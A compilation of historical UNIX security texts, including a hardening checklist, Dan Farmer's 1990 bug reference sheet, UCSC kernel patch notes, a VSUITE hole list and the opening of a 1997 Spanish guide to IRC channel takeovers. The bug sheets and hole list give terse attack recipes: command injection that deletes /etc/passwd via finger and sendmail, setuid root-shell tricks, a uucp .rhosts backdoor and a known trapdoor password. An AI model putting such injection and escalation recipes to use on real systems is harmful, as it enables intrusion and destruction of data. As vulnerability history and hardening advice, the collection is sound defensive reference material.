  • SETUID  (SUID)   COMMANDS:  Programs   owned  by  root  (or  a privileged group) and set to run as super-user (or other users or groups)  can lead to trouble by  allowing  shell  escape to privileged  shells,  appending  to  protected  files,  dumping writable, setuid core files, etc.  In particular,  mount(1) is dangerous  to set to 4555 if the system has a  removable  mass storage   device,  as  users  can  mount  volumes   containing super-user shells.

 

Solution:  Minimize  use  of  setuid/setgid.  Deny  access  to

setuid/setgid  programs  except  where the need exists and the

program has been checked for holes.  Be sure all setuid/setgid

commands  are  not  writable.  Be  able  to  account  for  all

setuid/setgid  programs on the system  (and/or  check for them

periodically).   Programs   must   do   setuid(getuid())   and

setgid(getgid())  before doing a shell  escape.  Chown(2) must

turn off set bits when ownership is changed.

 

  • SETUID (SUID)  SCRIPTS:  Files which begin with “#!  command”, for direct  execution  of command  by  exec(2),  and which are setuid or  setgid,  may be  tricked  through  unforeseen  side effects of running “command”.  For example, if the script is a readable  shell  script  (“#!  /bin/sh”),  it can be linked by anyone to a file named “-sh”, or merely exec’d with an arg1 of “-sh”.  The shell runs setuid, but the leading “-“ in the name causes  it  to  read  /etc/profile,  and  (worse)  the  user’s .profile,  when  starting up.  (On BSD4.2, if the name is “-“, you get an interactive prompt.)

 

Solutions:  Disallow   setuid/setgid   script   execution   by

exec(2),   or   disallow   linking  to  such  files  (is  this

sufficient?), or modify all potentially  scripted  commands to

avoid this problem.  (Note:  Only  commands  which  understand

“#”-style comments are even candidates for scripting.)

 

  • TERMINAL ACCESS:  An unattended,  logged-in terminal is asking for  trouble.  A terminal  whose  special  file is readable by other users is subject to having data stolen.

 

Solutions:  Log out or lock (using internal  command  lock(1))

any terminal not in use.  Do not make your terminal’s  special

file readable by the public.

 

  • “PARKED”  TROJAN HORSES:  In addition to libraries or commands left in a file  system  where a  privileged  user/group  might accidentally  use them, pirates can leave programs  running on “idle” terminals which simulate login, su, or other commands.

 

Solution:  Don’t  trust an idle  terminal.  Especially,  don’t

fall for an  obvious  swindle,  such as “Login  incorrect”  or

“}ls:  not found” when you think you did not mistype.  Be sure

the login command in particular is not  generally  executable,

so login emulators must “fail login”.

 

  • DIAL-IN ACCESS:  Dial-in lines are potential holes.

 

Solutions:  Keep phone  numbers  as private as  possible.  Set

getty  to hang up in a short  time.  Add  “external  security”

passwords  to getty  (rewrite  it).  Limit  logins on external

lines by using  /etc/securetty.  Use new  logging  features of

login(1).

 

  • ALL USERS  HAVE  PASSWORDS:  Any user  without a  password  is subject to having another user login or su to their identity.

 

Solution:  Insure   that  all  users  have   passwords,   even

pseudo-users  like “who” and “sync”, just in case su -c allows

dangerous  actions.  If  necessary,  put  “*” in the  password

field in  /etc/passwd  to make it impossible to login or su to

that user.  Or, deny access to the su command.

 

  • ALL GROUPS ARE  SECURE:  The newgrp  command  allows  changing group  identity  in a manner  similar to su, except  that if a group has no  password,  only  users in the  group’s  list can newgrp to it.

 

Solution:  Insure  that all groups have  correct  user  lists,

and/or all groups have dummy (“*”) or real  passwords,  and/or

disable  the newgrp  command.  (Putting a real  password  on a

group  opens  it  up to  anyone,  which  can  actually  reduce

security.)

 

  • GOOD PASSWORDS USED:  Bad passwords can lead to easy violation of security.

 

Solutions:  Don’t use  permutations  of username, nor people’s

real  names,  nor   easy-to-guess   personal  data.  Use  long

passwords not in any dictionary; mix in uppercase, digits, and

other   characters.  Don’t   re-use   old   passwords.  Change

passwords  periodically.  Educate  system users.  Also, do not

disable  accounts after N bad login  attempts; this just makes

it easier for pirates to lock out system administrators.

Comments:  System V.2  passwd(1)  improves the  situation.  Do

NOT use the password timeout facility (see passwd(1))  because

(1)  it leads to fast selection of bad passwords, (2) it leaves users  unable to change  again fast, (3) users still only need to have two  different  passwords,  and (4) pirates can easily find abandoned accounts.

 

 

  • HIDE  PASSWORDS:  Pirates are at an advantage if they can copy your  password   file  and  it  contains   valid   (encrypted) passwords.

 

Solutions:  Make  it  impossible  to copy it with  uucp.  Keep

real  passwords  in a  different  file  and put  fake  ones in

/etc/passwd   (but  this  requires   changes  to  many  system

libraries  and  commands, so probably  should not be attempted

on-site; it should be standardized).

 

  • RSH:  Restricted shells are impossible to do completely right.

 

Solution:  Use them as a deterrent  on accounts  where  needed

but do not depend on them alone to guarantee security.

 

  • CHROOT:  The chroot(1)  command and chroot(2)  system call are normally  executable by super-user  only.  If an ordinary user could chroot to a  sub-file-system,  they could create a small directory  structure with a dummy  /etc/passwd, make a copy of /bin/su and /bin/sh therein, chroot, su, then make the copy of sh setuid to super-user for later use.

 

Solution:  Restrict  access to the  chroot  command.  Make all

setuid/setgid  programs,  such as su,  unreadable  (which does

not, unfortunately, prevent linking to them).

 

  • CRONTAB:  The path to /usr/lib/crontab must be secure, and the file  itself,  plus  all  parts of the  paths to all  files it invokes,  including the files  themselves, plus all files they in turn invoke.  All such files  (scripts or programs) are run by cron as  super-user,  so they  must not be  replaceable  by Trojan horses.

 

Solutions:  Check crontab very carefully on occasion.  Keep it

unreadable  by  the  public.  Use  su -c  (and/or  newgrp)  in

crontab before running  commands (e.g.  ‘exec su news -c “exec

notedemon.day”’),    so   as   to   minimize   processes   run

automatically as root, or do not run cron at all (unlikely).

Comment:  A shell  script  (cronck)  exists  which  helps do a limited check on crontab.

 

  • AT(1)  COMMAND:  The at  command  is easy to violate  by doing chmod to  super-user  on a  spooled  shell  script.  The atrun demon then runs the script as its owner.

 

Solution:  It’s  possible  to  protect   /usr/spool/at  to  be

unwritable, and setuid the at and atrun commands, but this may

not be  sufficient.  Or, don’t run atrun  from  crontab,  e.g.

disable the at(1) facility.

Comment:  System V.2 at(1) corrects this.

 

  • MAILERS:  Mailers,  and other  programs  which can save files, might  let  users  modify  /etc/passwd  by  appending  to  it, especially if they run setuid/setgid.  Also, some mailers have a bad habit of prepending a “From” line containing the name of the  process  owner,  who is an  innocent  bystander,  to mail passing  through the  system,  thus  revealing  the name of at least one user on the system.  Also, some  mailers use LOGNAME as the name of the sender.

 

Solutions:  Such  programs  must not modify  non-owned  files.

Avoid running such programs  setuid/setgid  if possible.  Keep

sensitive files  protected.  Don’t reveal random  usernames in

mailer programs, and don’t use LOGNAME.

 

  • CRYPT  COMMAND/LIBRARY:  The encryption used is not as hard to break as once thought (see the Bell System Technical  Journal, Volume 63, Number 8, Part 2).

 

Solutions:  Do not leave any cleartext  around; it helps break

the key if  found.  Don’t  use same the key as your  password.

Simple  double-crypting or pre-ORing with patterns don’t help;

packing or otherwise re-distributing the data does.

 

  • UUCP   CONFIGURATION:  Most  files  in   /usr/spool/uucp   are publicly  readable  by  default.  If uucp owns  certain  other files,  such as demons, and the uucp  password is well  known, users can use su -c to mess with the demons.  The COMMANDS and USERFILE  files must be properly  constructed.  The L.sys file contains  private  information  like  phone  numbers.  DIALLOG contains phone numbers.

 

Solutions:  Hide  (protect)  /usr/spool/uucp  if necessary, to

keep mail and other  transactions  secret and avoid changes to

them.  Have all uucp logins be for users other than uucp (such

as remote  system  names) so people  knowing  those  passwords

can’t dork with  uucp-owned  files, and keep the uucp password

itself  a  secret.  Insure  that  COMMANDS  and  USERFILE  are

protected  (including  the path to  them),  and that  they are

conservative  (limit  access except as required).  Insure that

L.sys is owned by uucp and not generally readable.  By default

DIALLOG is protected; no action is necessary.

 

  • BTMP AND SULOG  FILES:  If these  files  exist,  login(1)  and su(1), respectively, use them to log failed login attempts and all su  attempts.  Only  usernames  are  logged  in btmp,  not passwords, but on occasion a user might type their password in to the login  prompt.  Also, sulog can help a pirate found out who system administrators are.

 

Solution:  Be sure /usr/adm/btmp and  /usr/adm/sulog  are only

readable/writable  by the super-user,  and the path to them is

secure.  Long-term,  perhaps  login(1) and su(1)  should chmod

the file if  necessary.  (Note that smart  pirates  will never

use su themselves, anyway.)

 

  • DATA NOT  ENCRYPTED:  Sensitive  data  lives on a disc  shared with other files and other  people.  File system  problems can (in the worst case) make such data public.

 

Solution:  Encrypt  sensitive  data,  or  keep  it on  private

media.

 

  • USE QUOTED HERE  DOCUMENTS:  Unquoted  shell “here”  documents (see sh(1)) can cause  trouble.  For  example, if the line “rm
  • r  $x/dir”  appears,  but $x is not set until  the  script is executed, the file system could be injured.

 

Solution:  Quote all here  documents,  especially  those which

are  shell  scripts  or at(1)  input,  unless  there is a good

reason not to so do.

 

 

 

 

***   Log start at 12:46pm on  4-11-93

 

 

Received:  from DEATH.CERT.SEI.CMU.EDU by sparkyfs.erg.sri.com (5.64/2.6davy)

id AA04197; Fri, 15 Feb 91 13:23:22 -0800

Received:  from localhost by death.cert.sei.cmu.edu (5.65/2.3)

id AA13566; Fri, 15 Feb 91 16:23:15 -0500

Message-Id:  <9102152123.AA13566@death.cert.sei.cmu.edu>

To:              davy@erg.sri.com

Subject:     list

Date:          Fri, 15 Feb 91 16:23:14 EST

From:         Dan Farmer <df@cert.sei.cmu.edu>

 

 

 

 

 

Bug reference sheet

Comfirmations, additions, changes to: df@cert.sei.cmu.edu

Last change made: Dec 12, 1990

 

 

4.X             BSD

Version      problem

4.1 can mail directly to a file

run set gid program, dump core, is set gid of owner

lock—compiled in password “hasta la vista”, plus can ^Z

Pre 4.2?     IFS w. preserve bug in vi

suspend mkdir, ln file you want to dir, you own file

 

4.2 lock—compiled in password “hasta la vista”

ln passwd file to mail spool, mail to user ==> file

can truncate read only files

finger “string | /bin/rm -f /etc/passwd”@foo.bar

ln -s target ~/.plan; finger user to read any file.

lpr file; rm file; ln -s /any/filename file ==> prints file

adb su; change check in memory; shell out; su ==> root.

race condition, can get root via “at”

 

4.3 ftp -n; quote user ftp; ect.  Gets root privs.  lpd can overwrite file ln -s /any/suid/file -i ; -i       Get suid shell.  fchown (2) can chown any file race condition (expreserve?), can get root via “at” passwd chokes on long lines, splits pw file ==> root access

 

4.3 Tahoe    chfn—allows newlines, meta chars, bufsize problem

login ttyA&B; A:cat <ttyB;^Z;B:exit;login;A:&;B:pw/uid;A:got B pw.

 

?            Overwrite gets buffer—fingerd, etc

uudecode alias can overwrite root/daemon owned files

/bin/mail ; !/bin/sh    Get uid=bin shell

rwall bug.

adb the running kernel, shell out and get root

sendmail can mail to any non-root owned file, have to try twice

rshd—spoof via nameservice, rsh target -l uid

SunOS

Version      problem

386i/4.01?   login -n root    requires no password

3.5 ftp—connect w. acct; user root; ls; put /tmp/foo /tmp/bar; result is owned by root

4.0 && 4.01  chsh—similar to chfn

 

4.0x?        anyone can restore a file over any other file.

chfn—allows newlines, meta chars, bufsize problem.

rcp with uid -2; only from PC/NFS.

ln -s /any/suid/file -i ; -i       Get suid shell.

Selection service can remotely grab files.

4.03  sendmail can mail to any non-root owned file, have to try twice login ttyA&B; A:cat <ttyB;^Z;B:exit;login;A:&;B:pw/uid;A:got B pw.

4.1 Shared libs accept relative paths when running suid (e.g. xterm.) rshd—spoof via nameservice, rsh target -l uid

 

?            adb the running kernel, shell out and get root

ftp -n; quote user ftp; ect.  Gets root privs.

symlink .plan to target file, finger user to read.

Overwrite gets buffer—fingerd, etc.  (3.5)

rwall bug (<= 4.01 yes).

lpd can overwrite file

the window manager can be used to read any file

rexd—any can get root access if enabled

 

4.03-        rcp buffer overflow

 

4.1-         comsat can overwrite any file

ptrace allows to become root

under openlook; telnet port 2000; executive,x3, run the ps interp.

 

Ultrix

Version      problem

2.2 ln passwd file to mail spool, mail to user ==> file can get root on host running (some) NFS from a root account

on a non-trusted host due to bug in mount daemon (DYNIX 3.? also)

3.0 lock—compiled in password “hasta la vista”

any user can mount any filesystem

login can run any program with root privs

X11 doesn’t clear passwords in memory; /dev/mem is world readable.

ln -s target ~/.plan; finger user to read any file.

3.1-         limit file 0; passwd  ==> zero’s out passwd file

lpd can overwrite any file (back to 2.0?)

 

4.1-         overflow Risc register buffer, get root through mail.

 

?            chfn—allows newlines, meta chars, bufsize problem

ftp -n; quote user ftp; ect.  Gets root privs.

can change host name, mount any filesystem

uudecode alias can overwrite root/daemon owned files

3.1? rshd—spoof via nameservice, rsh target -l uid

 

System V

Version      problem

?            can set IFS, other environment at “login:” prompt

SVR4-        expreserve problem/race condition.

pre SVR4     write to files; race condition using mkdir & ln

 

SGI (Iris?), MIPS, Steller

Stellix 2.0  rsh <host> -l “” <command>   runs as root

RISC/os 4.51, DYNIX

Stellix 2.1  login: -r hostname

ruser^@luser^@term^@

 

HP-UX

Version      problem

7.0-         chfn—allows newlines, etc.  Different bug with 7.0.

Apollo

Version      problem

10.x(max10.3)break root by using s/rbak; problem is in setgid/uid

Amdahl UTS

Version      problem

2.0          NFS mountd only uses hostname as authentication; easy to spoof.

SCO

Version      problem

?            can rlogin to any acct (root, etc.) to trusted host w/o password

Bell tech sys V/386

Microport 3.0  ulimit 0; passwd  ==> zero’s out passwd file

YP

Pre 4.0      any user can run yp server

 

4.01/4.03    ypbind/ypserv, SunOS 4.01; need 3 machines

 

4.03            concurrent yppasswd sessions can trash yp passwd map ypserv will send maps to anyone who can guess the domainame

 

Ultrix3.1/?  allows newlines, meta chars, buffsize problem

?            yppasswd leaves yp data files world writable

ypbind takes ypset from all; anyone can say they are yp DB server.

 

Sendmail

4.1 BSD      can mail directly to a file

Sun 4.03,

<=5.61       can mail to any file not root owned, have to try twice

5.61, 4.1Sun,

lots others? groups incorrectly checked, can get any group

Ultrix 2.2,

DYNIX 3.0.14 -C file  ==> displays any file.

 

Ultrix 2.0?

HP_UX        versions 1.2&13.1 sm, -oQ  ==> can read/write any file

 

< 5.57       from:<”|/bin/rm /etc/passwd”>  && bounce mail….

 

IRIX 3.3/3.31 any user can read any other user’s mail.

?            wiz; shell   get root shell

X

X11R?        snoop on keyboards and bitmaps.

X11R3-4      can set log on, execute commands (fixed in “fix-6”)

 

UUCP

Sun 4.03     uucico can show ph num, login, passwd, on remote machine.

TCP/IP

icmperror    errors not handled correctly; log off users remotely.

Misc

Gnuemacs     emacsclient/server allows access to files.

yogi 3 [13:42] ~>

Subject:     Summary of 4.2BSD kernel changes for improved security

 

in use at ucsc

in sys/init_sysent.c:

/* added system calls:

chfile – insure that user’s tty drops DTR lead when user logs out

(requires change to /etc/init)

*/

kern_exec.c: (getxfile())

/*

  • Restrict setuid-root to files on the root device.
  • Some bother for system administration, but it
  • greatly cuts down the territory to be searched for
  • spurious setuid-root programs.

*/

kern_prot.c: (setpgrp())

This is now being tested.  It is to prevent a user being able to kill

another user’s background job.

/* insure that the pgrp is not in use by somebody else */

kern_sig.c: (core())

/* keep the core file private */

kern_xxx.c: added chfile() code

sys_inode.c: (rwip())

/* turn off SUID & SGID bits when file is written, even for super

  • user, to strengthen security.

*/

sys_process.c (procxmt())

#ifdef  UCSC    /* security patch from denelcor */

/* prevents user from running a setuid-root program under a debugger

  • and then modifying the code in the core image and resuming execution
  • of the modified code with original privileges.

*/

ufs_fio.c: (access())

/* make group with gid zero have no privileges.  This is the default

  • login group for super users, and for files that we don’t know in
  • what group they really belong.

*/

ufs_syscalls.c

copen():

/*

  • Security patch to require special file inodes
  • to be on rootdev only.

*/

link():

#ifdef  UCSC    /* for security, no linking to files user can’t read */

symlink():

#ifdef  UCSC    /* no symbolic links to things user can’t read either */

chmod1():

/*

  • Enforce special restrictions on sticky bit and setuid bit

*/

/* warn the super user if he has inadvertently given somebody a

  • privileged file

*/

chown1():

/* include the super user in the protection afforded

  • by turning off SUID/SGID bits */

ufs_fio.c: (own())

#ifdef  GRPMAST

/* allow group manager access to non root-owned files */

/* this is convenient for instructional class accounts.  The user

  • for whom uid == gid in the password file is the owner of the
  • class, and has all privileges over all files with that class
  • as group owner.

*/

 

 

actual patches available on request to ucbvax!ucscc!haynes

 

 

I’m starting a project to keep track of UNIX security holes and their

fixes.  Basically, this consists of writing a short monograph (they are

too short to be called “papers”) on each security hole I find out about,

including an example of using it to break security, and including any fixes

that I can figure out (or get from others.)  I’m also trying to put in

something about who found each bug, or who reported it; I know these things

are usually found by multitudes of people acting independently, but I always

have been curious about where these things came from, so …  In essence, I’m

trying to start up a reference file of security holes and fixes.

I’d like to ask your help in getting this project moving.  If you know

of any interesting security holes, would you pass them along?  (Fixes too

would be appreciated.)  I have access to a 4.2 BSD system, so I can check out

holes in that version of UNIX.  I’m quite interested in holes in System V, too,

but I don’t have access to a pure System V version of UNIX (just a System

V with Berkeley enhancements), so I’m not sure if I can actually test them.

On the other hand, they might suggest holes in 4.2 BSD, so send ANY UNIX

security holes you know of, too.

Thanks to one and all for any help you can give …

Peace,

Matt Bishop

mab@riacs.ARPA                  arpanet

…!decvax!decwrl!riacs!mab     one uucp path

…!ihnp4!ames!riacs!mab        another uucp path

 

VSUITE.LST

Hole List: first part from USAF UNIX security paper

most from the VSUITE project

 

GENERAL

 

1. Do not allow usernames to contain any of the following characters “;~!‘”

(or any shell meta-charaters).  This allows setuid root programs that

popen to be spoofed.

2. Never allow a setuid to root program to send a mail message that the user

creates to either the Berkeley mailer or mailx.  All a user has to do

to break root is to send a line such as:

~!cp /bin/sh /tmp/sh; chmod 2555 /tmp/sh

That is that Berkeley mail(1) and Berkeley mailx(1) BOTH allow this shell escape to be executed if the line starts in column one of stdout while entering the message text.

3. Most security holes in UNIX are related to incorrect setting of directory

and file permissions or race conditions in the kernel that allow setuid

programs to be exploited.  All non-standard setuid programs should be

examined.

4. Many systems can be compromised with NFS/RPC.  A skilled RPC writer can

break security relatively easily.  MIT’s PROJECT ATHENA came up with

Kerberos to address these problems, networks are usually very insecure.

5. The mount command should not be executeable by ordinary users.  A setuid

program on a mountable disk is NOT TO BE TRUSTED.

6. Systems that allow read-only mounting of foriegn disk are a security

hole.  Setuid programs are normally honored.  This allows a person who

has root access on a foriegn machine to break it on another.

7. Expreserve can be a huge hole (see the following)

/dev/fb

the frame buffer devices on at least suns are world

readable/writeable, which is at best annoying (when

someone runs something strange on you) and at worst

insecure (since someone can take a snapshot of your screen

via screenload or whatnot)

/dev/*st*, mt, etc (tape devices)

generally world readable/writeable, bad since others can

nuke your tapes, read your backups, etc.

chfn, chsh

used to create a root account

core

will system dump a setgid core image?

domain name system

a sysadmin running the soa for a domain somewhere can

create a bugs reverse address mapping table for one of his

hosts that causes its IP address to have the domain name

of a machine that my host has in its hosts.equiv file.  if

i’m using the usual version of ‘istrusted’ (I think that’s

the routine’s name), the address lookup reveals the name

of the host to be one that my host trusts, and this other

sysadmin can rlogin into my machine or rsh or whatnot at

will.

fchown

test for bad group test

ftruncate

can be used to change major/minor numbers on devices

fingerd

hard .plan links – reading unreadable files readable by

user(fingerd)

setuid, .plan links

running as root

(fingerd_test.sh)

buffer overrun

file mod test.

test of file does not loose the setuid bit when modified

 

ftp

ftpd

static passwd struct overwrite

4.2 based bug, userid not reset properly, (after logging

in enter comment “user root” and you are, last seen

onder SunOS 3.3?).

overwrite stack somehow?

hosts.equiv

default + entry

istrusted routine – easy to spoof by bad SOA at remote site with hacked reverse address map.

lock

4.1bsd version had the password “hasta la vista” as a

builtin trapdoor. (found in ultrix)

lost+found, fsck

lost+found should be mode 700, else others might see

private files.

lpd

its possible to ovberwrite files with root authority with

user level access locally or remotely if you have local

root access

lpr

lpr -r access testing problem

lprm

trusts utmp

passwd

fgets use allows long entries which will be mangled into

::0:0::: entries

also allows:

fred:…:…:…:Fred ….Flintstone::/bin/sh =>

fred:…:…:…:Fred…..

Flintstone::/bin/sh

which is a root entry with no password!

fix – should skip to eol if it didn’t read whole entry, should enforce buffer limits on text in file, don’t use atoi (since atoi(/bin/sh) is 0).

portmap

allows other net entities to make bindings – may not be a

“security hole”, can lead to denial of service.

rcp

nobody problem

rexd

existence

rwall,comsat

running as root, utmp world writeable, writes to files as

well as devices in utmp dev fields.

 

rdist – buffer overflow

selection_svc

allowed remote access to files

sendmail

debug option

wizard mode

TURN command

allows mail to be stolen

decode mail alias – anyone can send mail to decode, write to any file onwed by daemon, if they can connect to sendmail daemon, can write to any file owned by any user.

 

overflow input buffer

cause the sendmail deamon to lock up

overwrite files

sendmail can be “tricked” into delivering mail

into any file but those own my root.

  • oQ (different Q)

fixed in newer versions

mqueue must not be mode 777!

what uid does |program run with?

sendmail -bt -C/usr/spool/mail/user – in old versions, allows you to see all lines of the file.

setuid bit handling

setuid/setgid bit should be dropped if a file is modified

fix: kernel changes

setuid scripts

there are several problems with setuid scripts.  is it

worth writing tests for these?  some systems might have

fixed some of the holes – does anyone know how one fixes

these problems in a proactive fashion?

sh

IFS hole (used with vi, anything else?)

su

overwrite stack somehow?

tcp/ip

sequence number prediction makes host spoofing easier

source routing make host spoofing easier

rip allows one to capture traffic more easily

various icmp attacks possible

(I suspect a traceroute’d kernel will allow one to easily dump packets onto the ethernet)

tftp

allows one to grab random files (eg, /etc/passwd).

fix – should do a chroot

allows puts as well as gets, no chroot

fix – don’t run as root, use chroot, no puts, only if boot server.

utmp

check to see if world writeable (if so, the data can’t be

trusted, although some programs are written as though they

trust the data (comsat, rwalld)).

uucp

check if valid uucp accounts are in the /etc/ftpusers.  If

the shell is uucico and passwd is valid make sure it is

listed in ftpusers.

check to see that uucp accounts have shell: if left off, folks can do:

cat >x

myhost myname

^D

uucp x ~uucp/.rhosts

rsh myhost -l uucp sh -i

 

HDB nostrangers shell escape

HDB changing the owner of set uid/gid files

HDB meta escapes on the X command line

HDB ; breaks on the X line

uudecode

if it is setuid, some versions will create setuid files

 

ypbind

accepts ypset from anyone (can create own ypserv and data,

and ypset to it…)

ypserv spoofing

send lots of bogus replies to a request for root’s passwd

entry, while doing something that would generate such a

request [I’m pretty sure that this is possible, but

haven’t tried it.]

AIX

  • password means use root’s password?

AIX 2.2.1

shadow password file (/etc/security/passwd) world

writeable

fix – chmod 600…

386i login

fix – nuke logintool, hack on login with adb, chmod 2750

ultrix 3.0 login

login -P progname allows one to run random programs as root.

fix – chmod 2750.

xhost:

if access access control is disabled any one can connect to

a X display it is possible and create (forge) and/or

intercept keystrokes.

 

========EOF==========

 

#

 

Tácticas de guerra en el IRC v.0.99a+

Por:  RoMaN SoFt / LLFB    (30/7/97)

 

 

La distribución de este documento es “libre”, con la única condición de

informar al autor en caso de subirlo a algún ftp site o página web. La

misma restricción se aplica a cualquier otra forma de difusión pública

(revistas, news, étc).

 

 

 

 

0.- Contenido.

1.- Introducción.

2.- Principios.

2.1.- Cómo funciona una red IRC.

2.2.- Conseguir op sin que nadie te lo de.

2.3.- Otras formas de conseguir op.

2.4.- Bot de servicio.

3.- Ataques.

3.1.- Flood.

3.2.- Nick collide.

3.2.1.- Split server collide.

3.2.2.- Lag collide.

3.3.- Nuke.

3.3.1.- ICMP nuke.

3.3.2.- OOB nuke.

3.4.- Ping.

3.5.- Ssping.

4.- Spoofing.

5.- Resources.

6.- Agradecimientos.

7.- Notas finales.

 

 

 

1.- Introducción.

Ultimamente la guerra en el IRC es, por desgracia, algo bastante común.  Conviene, a lo menos, estar informado de las distintas técnicas que se suelen usar para “luchar”, aunque sea simplemente para detectar que te están atacando y saber cómo lo están haciendo. No es mi intención profundizar demasiado en el tema aunque intentaré detallar algunos puntos que considere convenientes.

Todo lo que aquí se hable es extensible en general a cualquier red IRC. No obstante en algunos casos muy particulares me referiré a la red IRC hispana (“*.irc-hispano.org”). Ni que decir tiene que la información que se proporciona aquí es con fines educativos; en ningún caso debe ser usada salvo en circunstancias excepcionalmente justificadas. Un uso abusivo puede significar una k/g-line totalmente merecida. Yo no me hago responsable de un posible mal uso de esta info.

 

 

2.- Principios.

Muchas veces el objetivo de un ataque no es otra cosa que hacerse con un canal (“tomarlo”). Esto es relativamente fácil y hay diversas técnicas para ello. El objetivo es hacerse con el op en el canal. Los medios: tu inteligencia y astucia… 😉

 

2.1.- Cómo funciona una red IRC.-

El servidor de IRC propiamente dicho no es más que un programa corriendo en background (un daemon) en una máquina determinada (en Unix correría el “ircd”). Los usuarios se conectan a dicha máquina y acceden al servidor en forma de clientes.

Una red IRC se compone de varios servidores corriendo en paralelo y enlazados entre ellos, de forma que se mantegan comunicados (puedan intercambiar mensajes entre ellos). Cuando un usuario se conecta a un servidor determinado, éste (el servidor) lo notifica a los demás servidores que forman parte de la red IRC. Igualmente, cualquier otra acción es notificada a todos los servidores, de forma que éstos actuan como una unidad. De esta forma el usuario se deja ver en todos los servidores aunque físicamente sólo esté conectado a uno. Esto permite tener muchos usuarios repartidos por diferentes servidores pero que virtualmente es como si estuvieran todos en uno sólo.

La estructura de la red IRC es en forma de árbol (es decir, no puede haber bucles, o “caminos cerrados”: partiendo de un nodo no se llegue por ningún camino otra vez a dicho nodo) aunque un tanto especial: cada nodo se ve a sí mismo como el nodo raiz de la red. En la “literatura” esto se conoce como “spanning tree”. Un ejemplo de red podría ser:

 

 

[ Server 15 ]  [ Server 13 ] [ Server 14]

/                \         /

/                  \       /

[ Server 11 ] —— [ Server 1 ]       [ Server 12]

/        \          /

/          \        /

[ Server 2 ]          [ Server 3 ]

/       \                      \

/         \                      \

[ Server 4 ]    [ Server 5 ]         [ Server 6 ]

/    |    \                           /

/     |     \                         /

/      |      \____                   /

/       |           \                 /

[ Server 7 ] [ Server 8 ] [ Server 9 ]   [ Server 10 ]

 

:

[ etc. ]

:

 

 

Cuando se rompe uno de los eslabones (links) que unen 2 servidores el

conjunto se divide en 2 subconjuntos, los cuales intentarán seguir

funcionando normalmente aunque de forma aislada. Esto es, cada subconjunto

permanece operativo y mantiene la comunicación entre los servers

pertenecientes a dicho subconjunto. Pero por razones obvias los servidores

de un subconjunto no ven a los del otro y viceversa. Esta situación se

conoce como net-split.

En una sesión normal de IRC esto lo veríamos:

[1:23] *** Case_Zer0 has quit IRC (fuego.irc-hispano.org

io.irc-hispano.org)

 

Esto indica que se han spliteado los dos servidores indicados entre

paréntesis y que a consecuencia de ello el usuario Case_Zer0  [ hi Case 😉

]  ha salido “de nuestra red IRC” (lo que está ocurriendo es que se

encuentra en el otro subconjunto de servidores: a todos los efectos es que

como si se encontrase ya en otra red IRC).

Cuando el enlace caido se recupera (i.e. se reestablece la comunicación entre los servers spliteados) se habla de net-merge. Esto se vería en la sesión anterior como un “join” por parte del usuario que estaba en el servidor spliteado (tanto el quit como el join anteriores son mecanismos del propio IRC, es decir, el usuario anterior no dio ninguna orden de quit ni de join, es transparente a dicho usuario).

Hay programas que detectan y avisan cuando se produce algún net-split o net-merge: son los denominados “link-lookers”, y su utilidad es bastante obvia.

Por ejemplo, si el enlace dibujado en rojo (enlace server 2 <-> server 5) cayera, el servidor 5 estaría aislado de la red. Los usuarios de dicho servidor dejarían de ver a todos los demás pertenecientes a servidores distintos, y al contrario. Se dice que el servidor 5 está spliteado. Es fácil reconocer a un servidor en esta situación: si entras en una red a través de un determinado servidor y te encuentras a muy poca gente es muy normal que se deba a que está spliteado de la red.

Otra posibilidad es que el enlace azul (3 <-> 12) cayera. En este caso el servidor 12 se splitea de la red, pero también lo hacen los servidores 13 y 14 indirectamente, por conectarse a través del primero.

Para una información completa del funcionamiento y estructura de una red IRC, y del protocolo subyacente (“Internet Relay Chat Protocol”) os remito al RFC1459.

 

2.2.- Conseguir op sin que nadie te lo de.-

Cuando alguien se une a un canal donde no hay nadie (hace un /join #canal) el servidor supone que se trata de un nuevo canal y le da op a dicho usuario. Se dice que ha creado un canal. Vamos a aprovechar esto para hacernos con el op en un canal ya existente. ¿Cómo? Fácil: solo hay que aprovechar un net-split. Los pasos serían los siguientes:

  • Esperar un split (lo podemos detectar con un link-looker).
  • Entrar (conectar) al servidor spliteado.

– /join #canal (donde canal es el canal donde queremos conseguir op).

  • El server creará un nuevo canal y tendrás el op.
  • Esperar a que se deshaga el split.

 

Si “hay suerte” (leer más abajo), al deshacerse el split conservaremos el

op en los restantes servidores (el servidor spliteado se encarga de dar las

órdenes correspondientes). Entonces se dice que hemos llevado a cabo un

“net-hack”. Los usuarios presentes en el canal en el que hemos llevado a

cabo la acción verán algo como:

[1:41] *** irc.i3d.es sets mode: +o RoMaNSoFt

(donde el servidor que nos da op es el que antes estaba spliteado).

Esto no siempre funcionará porque hay aspectos que todavía no he comentado. Paso a explicar el procedimiento y comentar algunos puntos negros. Supongo que habréis comprendido el procedimiento; es muy simple: aprovechar que el servidor spliteado no ve a los usuarios de otros servidores y por tanto al canal previamente creado. Esto presupone que no hay usuarios del servidor spliteado en el canal (en este caso no funcionaría) porque en este caso al entrar nosotros por el server spliteado veríamos al canal como ya creado, con los usuarios de nuestro mismo servidor (a los otros los “esconde” el split) y por tanto el server no nos dará el op, como es habitual al entrar en cualquier canal ya existente.

También hay que tener en cuenta que actualmente todos los servidores tienen protecciones anti-nethack. En este caso, al deshacerse el split, los restantes servidores te quitarán el op a tí en vez de ser al contrario (imponer tu op en los restantes servers), protegiendo al canal PERO ésto lo harán únicamente en caso de que ya hubiera ops en el canal antes de tu intento de net-hack (aunque hay veces en que el server se equivoca y mantiene tu op, quitándoselo a los demás). Es decir, que el net-hack funcionará sólo para canales donde no haya op (“opless channels”). Por esta razón, si queremos el op, necesitaremos tirar previamente a los ops (echarlos del canal, de forma que pierdan su op) para luego llevar a cabo el net-hack. ¿Cómo tirarlos? De esto nos encargaremos más adelante, sigue leyendo };-)

 

2.3.- Otras formas de conseguir op.-

La otra alternativa para conseguir el op es que alguien te lo de 😉 .  Puede ser un op del canal o un irc-op de la red, aunque para esto último tendrás que dar una justificación convincente (como por ejemplo que os acaban de tomar el canal, alguien os ha atacado, étc).

Para la primera alternativa entra en juego tu “don de la palabra”: trata de hacerte amigo de algún op para que éste te lo pase. En ese momento ya estás capacitado para quitarle el op a todos los demás (“mass-deop”) y quedarte con el canal. Esto lo hacen automáticamente muchos scripts (“automatic-deop”): nada más darte el op el script automáticamente deopea a todos los ops (excepto a tí, claro).

 

2.4.- Bot de servicio.-

